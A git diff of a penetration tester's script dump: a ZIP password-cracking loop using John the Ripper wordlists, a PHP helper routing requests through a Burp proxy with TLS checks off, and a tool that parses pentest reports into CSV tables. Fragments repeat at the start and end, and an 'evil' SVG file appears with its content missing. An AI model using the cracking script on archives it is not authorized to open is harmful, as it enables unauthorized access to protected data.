+fi +unzip -l $1 +for i in $(john --wordlist=$2 --rules --stdout) +do + echo -ne "\rtrying \"$i\" " + unzip -o -P $i $1 >/dev/null 2>&1 + STATUS=$? + if [ $STATUS -eq 0 ]; then + echo -e "\nArchive password is: \"$i\"" + break + fi +done diff --git a/BurpManiProxy.php b/BurpManiProxy.php new file mode 100755 index 0000000..85fe529 --- /dev/null +++ b/BurpManiProxy.php @@ -0,0 +1,39 @@ + 'okhttp/3.9.0', 'app' => 'ANDROID', 'key' => '123']; + + $variable = getdataz($target, $headers, $dataz); + echo $variable; // or do manipulation etc. + + /*** + * Leave me + */ + + function getdataz($target, $headers, $dataz){ + $ch = curl_init($target); + + curl_setopt($ch, CURLOPT_HEADER, $headers); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); + curl_setopt($ch, CURLOPT_POSTFIELDS,$dataz); + curl_setopt($ch, CURLOPT_PROXY, '127.0.0.1:8080'); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + + $result = curl_exec($ch); + curl_close($ch); + + return $result; + } +} + +?> \ No newline at end of file diff --git a/README.md b/README.md index 94d2610..16d5f1c 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,9 @@ -DirtyScripts -=============== +This repo comes as-is!! + +It is just a dump of stuff, maybe useful, probably not. + +Without warranty or documentation. + +If you can't read the code then this isn't for you. + +Please do not ask for help regarding anything here, you will be ignored \ No newline at end of file diff --git a/ReportToolz/README.md b/ReportToolz/README.md new file mode 100644 index 0000000..6e0e95c --- /dev/null +++ b/ReportToolz/README.md @@ -0,0 +1,29 @@ +``` +╰» ./rep2.php -d "/mnt/hgfs/Pentest/pentests/2019/Precise/J34562.6 Company Web Application Technical Report 1.1.odt" +_____ _____ _____ 2 +||_// ||== ||_// +|| \ ||___ || + +[!] doc: /mnt/hgfs/Pentest/pentests/2019/Company/J12345.6 Company Web Application Technical Report 1.1.odt +[+] doc extracted +[=] fonts found: 23 +[+] vulnerabilities identified +[+] temp files removed +[+] created directory /mnt/hgfs/Pentest/pentests/2019/Company/rep2/ +[+] medium issues: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/findings_serious.csv +[+] low issues: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/findings_serious.csv +[+] all issues: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/findings_all.csv +[+] remediation table: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/remediation.csv +[+] OWASP table: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/owasp.csv +[=] Serious = 0, High = 0, Medium = 4, Low = 3 + +Ref | Title | Risk | CVSS | Remediation | OWASP +-------|-----------------------------------|--------|--------|---------------|------------------------------ +5.1.1 |Missing Security Headers |Medium |5.1 |Configuration |A6 Security Misconfiguration +5.1.2 |Insecure SSL Certificate Detected |Medium |4.8 |Configuration |A6 Security Misconfiguration +5.1.3 |Missing Cookie Attributes |Medium |4.7 |Configuration |A6 Security Misconfiguration +5.1.4 |jQuery Vulnerabilities |Medium |4.3 |Configuration |A9 Components with Known Vulne +5.2.1 |Software Version Numbers Disclosed |Low |5.3 |Configuration |A6 Security Misconfiguration +5.2.2 |Verbose Error Reporting Enabled |Low |5.3 |Configuration |A6 Security Misconfiguration +5.2.3 |Wildcard SSL Certificate |Low |3.7 |Configuration |A6 Security Misconfiguration +``` \ No newline at end of file diff --git a/ReportToolz/classes/CommandArgumentFilter.php b/ReportToolz/classes/CommandArgumentFilter.php new file mode 100644 index 0000000..1ffa45e --- /dev/null +++ b/ReportToolz/classes/CommandArgumentFilter.php @@ -0,0 +1,343 @@ + + */ + +namespace Clapp; + +/** + * Filters an array and extracts and validates command line arguments + * + * @author Patrick Forget + */ +class CommandArgumentFilter +{ + /** + * Command line arguments + * @var array + */ + private $arguments = array(); + + /** + * Definition of allowed parameters + * @var \Clapp\CommandLineArgumentDefinition + */ + private $definitions = null; + + /** + * Flag if arguments have been parsed in to params + * @var boolean + */ + private $parsed = false; + + /** + * Parsed params + * @var array + */ + private $params = array(); + + /** + * Trailing values + * @var string + */ + private $trailingValues = ""; + + /** + * program name + * @var string + */ + private $programName = ""; + + /** + * class constructor + * + * @author Patrick Forget + * + * @param \Clapp\CommandLineDefinition $definitions contains list of allowed parameters + * @param array $args list of arguments to filter. + */ + public function __construct(\Clapp\CommandLineArgumentDefinition $definitions, $args) + { + if (is_array($args)) { + $this->arguments = $args; + } //if + + $this->definitions = $definitions; + } // __construct() + + /** + * returns parameter matching provided name + * + * @author Patrick Forget + * + * @param string name of the paramter to retreive + * + * @return mixed if param the param appears only once the method will + * return 1 if the parameter doesn't take a value. The specified value + * for that param will returned if it does take value. + * + * If many occurence of the param appear the number of occurences will + * be returned for params that do not take values. An array of values + * will be returned for the parameters that do take values. + * + * If the parameter is not present null if it takes a value and false if + * it's not present and doesn't allow values + */ + public function getParam($name) + { + if (!$this->parsed) { + $this->parseParams(); + } //if + + $longName = strlen($name) === 1 ? $this->definitions->getLongName($name) : $name; + if (isset($this->params[$longName])) { + return $this->params[$longName]; + } else { + if ($this->definitions->allowsValue($longName)) { + return null; + } else { + return false; + } //if + } //if + + } // getParam() + + /** + * retreive the program name + * + * @author Patrick Forget + */ + public function getProgramName() + { + if (!$this->parsed) { + $this->parseParams(); + } //if + + return $this->programName; + } // getProgramName() + + /** + * retreive the trailing values + * + * @author Patrick Forget + */ + public function getTrailingValues() + { + if (!$this->parsed) { + $this->parseParams(); + } //if + + return $this->trailingValues; + } // getTrailingValues() + + /** + * extracts params from arguments + * + * @author Patrick Forget + */ + protected function parseParams() + { + + $argumentStack = $this->arguments; + + $expectingValue = false; + $currentLongName = null; + $currentValue = null; + $trailingValues = ""; + $endOfDashedArguments = false; + $addParam = false; + $argumentsLeft = sizeof($argumentStack); + $multiShortParams = array(); + + $this->programName = array_shift($argumentStack); // remove first argument which is the program name + + while ($currentArgument = array_shift($argumentStack)) { + $argumentsLeft--; + $currentArgumentLength = strlen($currentArgument); + + // arguments that don't start with a dash + if (substr($currentArgument, 0, 1) !== '-') { + if ($expectingValue) { + $currentValue = $currentArgument; + $addParam = true; + } else { + $trailingValues .= " ". $currentArgument; + $endOfDashedArguments = true; + } //if + + // double dash detected + } elseif (substr($currentArgument, 1, 1) === '-') { + if ($expectingValue) { + throw new \UnexpectedValueException("Parameter {$currentLongName} expects a values"); + } //if + + /* stop parsing arguments if double dash + only param is encountered */ + if ($currentArgumentLength == 2) { + if ($trailingValues !== "") { + throw new \UnexpectedValueException("Trailing values must appear after double dash"); + } //if + + $trailingValues = " ". implode(" ", $argumentStack); + $argumentStack = array(); + $endOfDashedArguments = true; + break; + } //if + + $longNameParts = explode("=", substr($currentArgument, 2), 2); + + $currentLongName = $longNameParts[0]; + + if (sizeof($longNameParts) > 1) { + $currentValue = $longNameParts[1]; + $addParam = true; + } elseif ($this->definitions->allowsValue($currentLongName)) { + $expectingValue = true; + } else { + $addParam = true; + } //if + + // single dash + } else { + if ($expectingValue) { + throw new \UnexpectedValueException("Parameter {$currentLongName} expects a values"); + } //if + + $shortNameParts = explode("=", substr($currentArgument, 1), 2); + + $shortName = $shortNameParts[0]; + + if (strlen($shortName) <= 1) { + $currentLongName = $this->definitions->getLongName($shortName); + + if ($currentLongName === null) { + throw new \InvalidArgumentException("Unable to find name with ". + "provided parameter ({$shortName})"); + } //if + + if (sizeof($shortNameParts) > 1) { + $currentValue = $shortNameParts[1]; + $addParam = true; + } elseif ($this->definitions->allowsValue($currentLongName)) { + $expectingValue = true; + } else { + $addParam = true; + } //if + + } else { + $multiShortParams = str_split($shortName); + + /* process the last one (which is the only one that can have a value) */ + $lastParam = array_pop($multiShortParams); + $currentLongName = $this->definitions->getLongName($lastParam); + if (sizeof($shortNameParts) > 1) { + $currentValue = $shortNameParts[1]; + $addParam = true; + } elseif ($this->definitions->allowsValue($lastParam)) { + $expectingValue = true; + } else { + $addParam = true; + } //if + + } //if + + } //if + + if ($addParam) { + if ($endOfDashedArguments) { + throw new \UnexpectedValueException("Unexpected argument after undashed values"); + } //if + + /* Not sure how this could happen */ + // @codeCoverageIgnoreStart + if ($currentLongName === false || $currentLongName === null) { + throw new \UnexpectedValueException("Missing argument name"); + } //if + // @codeCoverageIgnoreEnd + + if (!$this->definitions->paramExists($currentLongName)) { + throw new \InvalidArgumentException("Invalid argument name"); + } //if + + $allowsMultiple = $this->definitions->allowsMultiple($currentLongName); + $allowsValue = $this->definitions->allowsValue($currentLongName); + + if (isset($this->params[$currentLongName]) && !$allowsMultiple) { + throw new \UnexpectedValueException("Multiple instace of parameter {$currentLongName} not allowed"); + } //if + + if ($allowsValue) { + /* Missing values should always be detected before addParam is true */ + // @codeCoverageIgnoreStart + if ($currentValue === null) { + throw new \UnexpectedValueException("Parameter {$currentLongName} expects a values"); + } //if + // @codeCoverageIgnoreEnd + + } elseif ($currentValue !== null) { + throw new \UnexpectedValueException("Parameter {$currentLongName} does not accept values"); + + } else { + $currentValue = true; + } //if + + if ($allowsMultiple) { + if ($allowsValue) { + if (!isset($this->params[$currentLongName])) { + $this->params[$currentLongName] = array(); + } //if + + $this->params[$currentLongName][] = $currentValue; + + } else { + if (!isset($this->params[$currentLongName])) { + $this->params[$currentLongName] = 0; + } //if + + $this->params[$currentLongName]++; + + } //if + + } else { + $this->params[$currentLongName] = $currentValue; + } //if + + foreach ($multiShortParams as $shortName) { + $argumentStack[] = "-{$shortName}"; + $argumentsLeft++; + } //foreach + + /* reset stuff for next param */ + $expectingValue = false; + $currentLongName = null; + $currentValue = null; + $addParam = false; + $multiShortParams = array(); + + } //if + + } //while + + if ($expectingValue !== false) { + throw new \UnexpectedValueException("Parameter {$currentLongName} expects a values"); + } //if + + /* Not sure how this could happen */ + // @codeCoverageIgnoreStart + if ($currentLongName !== null || + $addParam !== false || + $currentValue !== null || + sizeof($multiShortParams) !== 0) { + throw new \UnexpectedValueException("Unable to process some parameters"); + } //if + // @codeCoverageIgnoreEnd + + if ($trailingValues !== "") { + $this->trailingValues = substr($trailingValues, 1); // remove extra space at the begging + } //if + + $this->parsed = true; + } // parseParams() +} diff --git a/ReportToolz/classes/CommandLineArgumentDefinition.php b/ReportToolz/classes/CommandLineArgumentDefinition.php new file mode 100644 index 0000000..2b2e8fa --- /dev/null +++ b/ReportToolz/classes/CommandLineArgumentDefinition.php @@ -0,0 +1,389 @@ + + */ + +namespace Clapp; + +/** + * Defines list and formats of command line arguments + * + * @author Patrick Forget + */ +class CommandLineArgumentDefinition +{ + + /** + * @var array + */ + private $definitions = array(); + + /** + * long names as keys and array of properties as values + * + * properties are as follows + * * string "shortName" one letter char to the corresponding short name + * * boolean "isMultipleAllowed" true if mutliple instances of the param are allowed + * * mixed "parameterType" false if paramters are not alloweda value, + * otherwise a string with the value "integer" or "string" + * * string "description" description of the parameter + * @var array + */ + private $longNames = array(); + + /** + * list of short names as keys and their long name equivalent as values + * @var array + */ + private $shortNames = array(); + + /** + * Flag if arguments have been parsed in to params + * @var boolean + */ + private $isParsed = false; + + /** + * class constructor + * + * @author Patrick Forget + * + * @param array $definitions contains list of allowed parameters + * the key is the long name of the parameter followed by a pipe (|) + * then a single character specifying the short name. + * + * If the parameter allows for arguments then an equal sign (=) + * follows and then the type of paramter. + * + * Allowed types are either i, int or integer for integer types + * and s, str or string for string types. + * + * If a parameter can appear more than once the last character of + * the key should be a plus character (+). + * + * The value of the entry is the definition of what the paramter + * does. + */ + public function __construct($definitions) + { + if (is_array($definitions)) { + $this->definitions = $definitions; + } //if + } // __construct() + + /** + * checks if parameter is allowed + * + * @author Patrick Forget + * + * @param string $name either short or long name of the parameter to check + * + * @return boolean true if definition exisits, false otherwise + */ + public function paramExists($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + if (strlen($name) == 1) { + return isset($this->shortNames[$name]); + } else { + return isset($this->longNames[$name]); + } //if + } // paramExists($name) + + + /** + * checks if parameter allows a value if so what type + * + * @author Patrick Forget + * + * @param string $name either short or long name of the parameter to check + * + * @return boolean|string false doesn't allow value, The value "string" or "integer" depending which type it allows + */ + public function allowsValue($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + $longName = (strlen($name) == 1 ? ( isset($this->shortNames[$name]) ? $this->shortNames[$name] : '') : $name); + + if (isset($this->longNames[$longName])) { + return $this->longNames[$longName]['parameterType'] !== false ? true : false; + } else { + return false; + } //if + } // allowsValue() + + /** + * returns the type of value allowed + * + * @author Patrick Forget + */ + public function getValueType($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + $longName = (strlen($name) == 1 ? ( isset($this->shortNames[$name]) ? $this->shortNames[$name] : '') : $name); + + if (isset($this->longNames[$longName]['parameterType']) + && $this->longNames[$longName]['parameterType'] !== false) { + return $this->longNames[$longName]['parameterType']; + } else { + return ''; + } //if + } // getValueType() + + + /** + * checks if pamultiple instance of parameter are allowed + * + * @author Patrick Forget + * + * @param string $name either short or long name of the parameter to check + * + * @return boolean false if parameter doesn't allow multiple values, true if it does + */ + public function allowsMultiple($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + $longName = (strlen($name) == 1 ? ( isset($this->shortNames[$name]) ? $this->shortNames[$name] : '') : $name); + + if (isset($this->longNames[$longName])) { + return $this->longNames[$longName]['isMultipleAllowed']; + } else { + return false; + } //if + } // allowsMultiple() + + /** + * retreive short name of a parameter using its long name + * + * @author Patrick Forget + * + * @param string $name long name of the parameter to check + * + * @return string character of the short name or null if it doesn't exist + */ + public function getShortName($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + if (isset($this->longNames[$name])) { + return $this->longNames[$name]['shortName']; + } else { + return null; + } //if + } // getShortName($name) + + /** + * retreive long name of a parameter using its short name + * + * @author Patrick Forget + * + * @param string $name short name of the parameter to check + * + * @return string long name or null if it doesn't exist + */ + public function getLongName($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + if (isset($this->shortNames[$name])) { + return $this->shortNames[$name]; + } else { + return null; + } //if + } // getLongName($name) + + /** + * retreive description of a paramter + * + * @author Patrick Forget + * + * @param string $name either short or long name of the parameter to check + * + * @return string description or null if it doesn't exist + */ + public function getDescription($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + $longName = (strlen($name) == 1 ? ( isset($this->shortNames[$name]) ? $this->shortNames[$name] : '') : $name); + + if (isset($this->longNames[$longName])) { + return $this->longNames[$longName]['description']; + } else { + return null; + } //if + } // getDescription() + + /** + * builds a usage definition based on definition of params + * + * @author Patrick Forget + */ + public function getUsage() + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + /* build list of argument names and calculate + the first column width so we can pad to + align definitions */ + $firstCol = array(); + $longestDef = 0; + foreach (array_keys($this->longNames) as $longName) { + ob_start(); + echo "--{$longName}|-{$this->getShortName($longName)}"; + + if ($this->allowsValue($longName)) { + echo "={$this->getValueType($longName)}"; + } //if + + if ($this->allowsMultiple($longName)) { + echo "+"; + } //if + + $defLength = ob_get_length(); + + $longestDef = max($longestDef, $defLength); + + $firstCol[$longName] = ob_get_contents(); + ob_end_clean(); + + } //foreach + + $firstColMaxWidth = $longestDef + 4; + + ob_start(); + + foreach ($firstCol as $longName => $def) { + $currentDefLength = strlen($def); + + $padding = str_repeat(" ", $firstColMaxWidth - $currentDefLength); + + echo "{$def}{$padding}{$this->getDescription($longName)}", PHP_EOL; + } //foreach + + echo PHP_EOL; + + $usage = ob_get_contents(); + ob_end_clean(); + + return $usage; + + } // getUsage() + + + /** + * parses the definitions + * + * @author Patrick Forget + */ + protected function parseDefinitions() + { + foreach ($this->definitions as $nameDef => $description) { + $nameParts = explode("|", $nameDef); + + if (sizeof($nameParts) !== 2) { + throw new \UnexpectedValueException("Unexpected argument name definition expecting \"longName|char\""); + } //if + + $longName = $nameParts[0]; + $isMulti = false; + $parameterType = false; + + $shortNameLength = strlen($nameParts[1]); + + if ($shortNameLength == 1) { + $shortName = $nameParts[1]; + } else { + $secondChar = substr($nameParts[1], 1, 1); + + switch ($secondChar) { + case '=': + $shortNameParts = explode("=", $nameParts[1]); + + $shortName = $shortNameParts[0]; + $parameterTypeString = $shortNameParts[1]; + + if (substr($parameterTypeString, -1) === '+') { + $isMulti = true; + $parameterTypeString = substr($parameterTypeString, 0, -1); // remove trailing + + } //if + + switch ($parameterTypeString) { + case 'i': + case 'int': + case 'integer': + $parameterType = 'integer'; + break; + case 's': + case 'str': + case 'string': + $parameterType = 'string'; + break; + default: + throw new \UnexpectedValueException("Expecting parameter type". + " to be either integer or string"); + break; + } //switch + + break; + case '+': + if ($shortNameLength > 2) { + throw new \UnexpectedValueException("Multiple flag charachter (+)". + " should be last character in definition"); + } //if + + $shortName = substr($nameParts[1], 0, 1); + $isMulti = true; + + break; + default: + throw new \UnexpectedValueException("Expecting short name definition to be a single char"); + break; + } // switch + + } //if + + if (isset($this->longNames[$longName])) { + throw new \UnexpectedValueException("Cannot redefine long name {$longName}"); + } //if + + if (isset($this->shortNames[$shortName])) { + throw new \UnexpectedValueException("Cannot redefine short name {$shortName}"); + } //if + + $this->longNames[$longName] = array( + 'shortName' => $shortName, + 'isMultipleAllowed' => $isMulti, + 'parameterType' => $parameterType, + 'description' => $description + ); + + $this->shortNames[$shortName] = $longName; + + } //foreach + + $this->isParsed = true; + } // parseDefinitions() +} diff --git a/ReportToolz/rep2.php b/ReportToolz/rep2.php new file mode 100755 index 0000000..d19c6b8 --- /dev/null +++ b/ReportToolz/rep2.php @@ -0,0 +1,435 @@ +#!/usr/bin/php + "Shows help message", + "doc|d=s" => "/path/to/doc.odt to use", + ) +); + +$filter = new \Clapp\CommandArgumentFilter($definitions, $argv); + +if ($filter->getParam('h') === true || $argc < 2) { + fwrite(STDERR, $definitions->getUsage()); + exit(0); +} + +// see if doc exists +if ($filter->getParam("doc") == false) + die("[-] no doc set\n"); + +echo "[!] doc: ".$filter->getParam("doc")."\n"; +if(!file_exists($filter->getParam("doc"))) + die("[-] no such file! \n"); + +// extract doc and get contents +$rand = uniqid(); +mkdir("/tmp/$rand"); +if(unzipFolder($filter->getParam("doc"), "/tmp/$rand/")) { + $source = file_get_contents("/tmp/$rand/content.xml"); + echo "[+] doc extracted\n"; +} else { + die("[-] unable to extract doc\n"); +} + +// Parse Doc's XML +$line = array(); +$reader = new XMLReader(); +if (!$reader->open("/tmp/$rand/content.xml")) die("[-] Failed to open 'content.xml'\n"); + +// font checker +/*** + * FUTURE FEATURE PERHAPS + */ +$fonts = array(); +while ($reader->read()){ + //print_r($reader->name); + if ($reader->nodeType == XMLREADER::ELEMENT && ($reader->name === 'style:font-face')) { + //if(!empty($reader->name)){ + //echo "here2\n"; + //$line[] = $reader->expand()->textContent; // Put the text into array in correct order... + $fonts[] = $reader->getAttribute("style:name"); + //echo $font;echo "\n"; // DEBUG + //} + } +} +$reader->close(); +//die(); +echo "[=] fonts found: ".sizeof($fonts)."\n"; + +// step through text:h and text:p elements to put them into an array +$reader = new XMLReader(); +if (!$reader->open("/tmp/$rand/content.xml")) die("[-] Failed to open 'content.xml'\n"); +while ($reader->read()){ + if ($reader->nodeType == XMLREADER::ELEMENT && ($reader->name === 'text:h' || $reader->name === 'text:p' || $reader->name === 'text:bookmark')) { + if(!empty($reader->expand()->textContent)) + $line[] = $reader->expand()->textContent; // Put the text into array in correct order... + //echo $reader->expand()->textContent;echo "\n"; // DEBUG + } +} +$reader->close(); + +// find the content we want +$start = 0; $end = 0; +foreach($line as $key => $val){ + if(strpos($val, "Discovered Vulnerabilities") === 0){ $start = $key; } + if(strpos($val, "This section provides a quick guide to plan your remediation for the vulnerabilities discovered during the test.") === 0){ $end = $key-2; } + $line[$key] = trim($val); +} + +// add to sexy array's +$vuln = array(); +$vulnPlace = 0; +$switch = 0; +$sub2 = 0; +$sub3 = 1; +for ($i=$start; $i <= $end ; $i++) { + // change state (action to take) + /*** + * ~states~ + * 0 = do nothing + * 1 = next is title + * 2 = next is description + * 3 = next is solution + * 4 = next is remediation + * 5 = next is cvss no + * 6 = next is risk level + * 7 = next is hosts + * 8 = next possibly title + */ + switch ($line[$i]) { + case 'Discovered Vulnerabilieies': + $switch = 0; + break; + case 'Serious Risk Vulnerabilities': + $sub2++; $sub3 = 1; + $switch = 1; + break; + case 'High Risk Vulnerabilities': + $sub2++; $sub3 = 1; + $switch = 1; + break; + case 'Medium Risk Vulnerabilities': + $sub2++; $sub3 = 1; + $switch = 1; + break; + case 'Low Risk Vulnerabilities': + $sub2++; $sub3 = 1; + $switch = 1; + break; + case 'Description': + $switch = 2; + break; + case 'Solution': + $switch = 3; + break; + case 'Remediation': + $switch = 4; + break; + case 'CVSS Base Score': + $switch = 5; + break; + case 'Risk Level': + $switch = 6; + break; + case 'Vulnerabilities Exist On': + $switch = 7; + break; + default: + # code... + break; + } + + //take action + switch ($switch) { + case 1: + $i++; + $vuln[$vulnPlace]['title'] = $line[$i]; + $vuln[$vulnPlace]['ref'] = "$sub1.$sub2.$sub3"; + $sub3++; + $switch = 0; + break; + case 2: + @$vuln[$vulnPlace]['desc'] .= $line[$i]; + break; + case 3: + @$vuln[$vulnPlace]['fix'] .= $line[$i]; + break; + case 4: + $i++; + $vuln[$vulnPlace]['rem'] = trim(strtok($line[$i], " ")); + $switch = 0; + break; + case 5: + $i++; + $vuln[$vulnPlace]['cvss'] = $line[$i]; + $switch = 0; + break; + case 6: + $i++; + $vuln[$vulnPlace]['risk'] = trim(strtok($line[$i], " ")); + $vuln[$vulnPlace]['owasp'] = trim(substr($line[$i], strpos($line[$i], ":") + 1)); + $switch = 0; + break; + case 7: + $i++; + $vuln[$vulnPlace]['hosts'] = $line[$i]; + $switch = 8; + $vulnPlace++; + break; + case 8: + $vuln[$vulnPlace]['title'] = trim($line[$i]); + $vuln[$vulnPlace]['ref'] = "$sub1.$sub2.$sub3"; + $sub3++; + $switch = 0; + break; + default: + # code... + break; + } + + //echo $line[$i]."\n"; // DEBUG +} + +// minor tidying of arrays +for ($i=0; $i < sizeof($vuln) ; $i++) { + if (strpos($vuln[$i]['desc'], "Description") === 0) $vuln[$i]['desc'] = substr($vuln[$i]['desc'], strlen("Description")); + if (strpos($vuln[$i]['fix'], "Solution") === 0) $vuln[$i]['fix'] = substr($vuln[$i]['fix'], strlen("Solution")); + $vuln[$i]['risk'] = rtrim($vuln[$i]['risk'], ":"); + // remove html encoding + foreach($vuln[$i] as $key => $val){ + $vuln[$i][$key] = mb_convert_encoding($val, "UTF-8", 'UTF-8'); + } +} + +//print_r($vuln); // DEBUG +echo "[+] vulnerabilities identified\n"; + +delTree("/tmp/$rand"); +echo "[+] temp files removed\n"; + +$resultsFolder = substr($filter->getParam("doc"), 0, strrpos( $filter->getParam("doc"), '/') )."/rep2"; +if(!file_exists($resultsFolder."/")){ + mkdir($resultsFolder."/"); + echo "[+] created directory $resultsFolder/\n"; +}else{ + $i = 1; + while (file_exists($resultsFolder."_$i/")) + $i++; + mkdir($resultsFolder."_$i/"); + $resultsFolder .= "_$i"; + echo "[+] created directory $resultsFolder/\n"; +} + +if(writeIssueTable($vuln, "Serious", $resultsFolder."/findings_serious.csv")) + echo "[+] serious issues: $resultsFolder/findings_serious.csv\n"; +if(writeIssueTable($vuln, "High", $resultsFolder."/findings_high.csv")) + echo "[+] high issues: $resultsFolder/findings_serious.csv\n"; +if(writeIssueTable($vuln, "Medium", $resultsFolder."/findings_medium.csv")) + echo "[+] medium issues: $resultsFolder/findings_serious.csv\n"; +if(writeIssueTable($vuln, "Low", $resultsFolder."/findings_low.csv")) + echo "[+] low issues: $resultsFolder/findings_serious.csv\n"; + +if(writeAllTable($vuln, $resultsFolder."/findings_all.csv")) + echo "[+] all issues: $resultsFolder/findings_all.csv\n"; + +if(writeRemediationTable($vuln, $resultsFolder."/remediation.csv")) + echo "[+] remediation table: $resultsFolder/remediation.csv\n"; + +if(writeOWASPTable($vuln, $resultsFolder."/owasp.csv")) + echo "[+] OWASP table: $resultsFolder/owasp.csv\n"; + +viewVulns($vuln); + +function unzipFolder($zipInputFile, $outputFolder) { + $zip = new ZipArchive; + $res = $zip->open($zipInputFile); + if ($res === true) { + $zip->extractTo($outputFolder); + $zip->close(); + return true; + } + else { + return false; + } +} + +function XML2Array(SimpleXMLElement $parent){ + $array = array(); + + foreach ($parent as $name => $element) { + ($node = & $array[$name]) + && (1 === count($node) ? $node = array($node) : 1) + && $node = & $node[]; + + $node = $element->count() ? XML2Array($element) : trim($element); + } + + return $array; +} + +function delTree($dir){ + $files = array_diff(scandir($dir), array('.', '..')); + + foreach ($files as $file) { + (is_dir("$dir/$file")) ? delTree("$dir/$file") : unlink("$dir/$file"); + } + + return rmdir($dir); +} + +function viewVulns($vuln){ + $s = $h = $m = $l = 0; + for ($i=0; $i < sizeof($vuln) ; $i++) { + switch ($vuln[$i]['risk']) { + case 'Serious': + $s++; + break; + case 'High': + $h++; + break; + case 'Medium': + $m++; + break; + case 'Low': + $l++; + break; + } + } + echo "[=] Serious = $s, High = $h, Medium = $m, Low = $l\n"; + +echo" +Ref | Title | Risk | CVSS | Remediation | OWASP +-------|-----------------------------------|--------|--------|---------------|------------------------------\n"; +for ($i=0; $i < sizeof($vuln) ; $i++) { + $ref = str_pad($vuln[$i]['ref'], 7); + $title = str_pad($vuln[$i]['title'], 35); + $risk = str_pad($vuln[$i]['risk'], 8); + $cvss = str_pad($vuln[$i]['cvss'], 8); + $rem = str_pad($vuln[$i]['rem'], 15); + $owasp = str_pad($vuln[$i]['owasp'], 30); + + echo substr($ref, 0, 7); echo "|"; + echo substr($title, 0, 35); echo "|"; + echo substr($risk, 0, 8); echo "|"; + echo substr($cvss, 0, 8); echo "|"; + echo substr($rem, 0, 15); echo "|"; + echo substr($owasp, 0, 30); echo "\n"; +} +} + +function writeIssueTable($vuln, $issue, $path){ + $towrite = array(); + for ($i=0; $i < sizeof($vuln) ; $i++) { + if($vuln[$i]['risk'] == $issue){ + $towrite[$i]['desc'] = $vuln[$i]['title']." - ".$vuln[$i]['desc']; + $towrite[$i]['fix'] = $vuln[$i]['fix']; + $towrite[$i]['ref'] = $vuln[$i]['ref']; + $towrite[$i]['hosts'] = $vuln[$i]['hosts']; + } + } + if(sizeof($towrite) > 0){ + $fp = fopen($path, 'w'); + fprintf($fp, chr(0xEF).chr(0xBB).chr(0xBF)); + foreach ($towrite as $fields) { + fputcsv($fp, $fields); + } + fclose($fp); + return true; + }else{ + return false; + } +} + +function writeAllTable($vuln, $path){ + if(sizeof($vuln) > 0){ + $fp = fopen($path, 'w'); + fprintf($fp, chr(0xEF).chr(0xBB).chr(0xBF)); + fputcsv($fp, array("Title", "Ref", "Description", "Solution", "Remediation", "CVSS", "Risk", "OWASP", "Affected")); + foreach ($vuln as $fields) { + fputcsv($fp, $fields); + } + fclose($fp); + return true; + }else{ + return false; + } +} + +function writeRemediationTable($vuln, $path){ + $towrite = array(); + for ($i=0; $i < sizeof($vuln) ; $i++) { + $towrite[$i]['hosts'] = $vuln[$i]['hosts']; + $towrite[$i]['ref'] = $vuln[$i]['ref']; + $towrite[$i]['p'] = " "; + $towrite[$i]['c'] = " "; + $towrite[$i]['d'] = " "; + $towrite[$i]['u'] = " "; + switch ($vuln[$i]['rem']) { + case 'Patch': + $towrite[$i]['p'] = $vuln[$i]['risk'][0]; + break; + case 'Configuration': + $towrite[$i]['c'] = $vuln[$i]['risk'][0]; + break; + case 'Development': + $towrite[$i]['d'] = $vuln[$i]['risk'][0]; + break; + case 'Upgrade': + $towrite[$i]['u'] = $vuln[$i]['risk'][0]; + break; + } + } + if(sizeof($towrite) > 0){ + $fp = fopen($path, 'w'); + fprintf($fp, chr(0xEF).chr(0xBB).chr(0xBF)); + fputcsv($fp, array("Host", "Ref", "P", "C", "D", "U")); + foreach ($towrite as $fields) { + fputcsv($fp, $fields); + } + fclose($fp); + return true; + }else{ + return false; + } +} + +function writeOWASPTable($vuln, $path){ + $towrite = array(); + for ($i=0; $i < sizeof($vuln) ; $i++) { + if(in_array($vuln[$i]['owasp'], array_column($towrite, 'owaspId'))){ + $towrite[$vuln[$i]['owasp']]['no']++; + }else{ + $towrite[$vuln[$i]['owasp']]['owaspId'] = $vuln[$i]['owasp']; + $towrite[$vuln[$i]['owasp']]['no'] = 1; + } + } + if(sizeof($towrite) > 0){ + $fp = fopen($path, 'w'); + fprintf($fp, chr(0xEF).chr(0xBB).chr(0xBF)); + foreach ($towrite as $fields) { + fputcsv($fp, $fields); + } + fclose($fp); + return true; + }else{ + return false; + } +} + +?> \ No newline at end of file diff --git a/crack_zip.sh b/crack_zip.sh new file mode 100755 index 0000000..bc6de1a --- /dev/null +++ b/crack_zip.sh @@ -0,0 +1,18 @@ +#!/bin/bash +echo "ZIP-JTR Decrypt Script"; +if [ $# -ne 2 ] +then +echo "Usage $0 "; +exit; +fi +unzip -l $1 +for i in $(john --wordlist=$2 --rules --stdout) +do + echo -ne "\rtrying \"$i\" " + unzip -o -P $i $1 >/dev/null 2>&1 + STATUS=$? + if [ $STATUS -eq 0 ]; then + echo -e "\nArchive password is: \"$i\"" + break + fi +done diff --git a/evilsvgfile.svg b/evilsvgfile.svg new file mode 100755 index 0000000..07d08f0 --- /dev/null +++ b/evilsvgfile.svg @@ -0,0 +1,9 @@ + + + + + + + \ No newline at end of file diff --git a/BurpManiProxy.php b/BurpManiProxy.php new file mode 100755 index 0000000..85fe529 --- /dev/null +++ b/BurpManiProxy.php @@ -0,0 +1,39 @@ + 'okhttp/3.9.0', 'app' => 'ANDROID', 'key' => '123']; + + $variable = getdataz($target, $headers, $dataz); + echo $variable; // or do manipulation etc. + + /*** + * Leave me + */ + + function getdataz($target, $headers, $dataz){ + 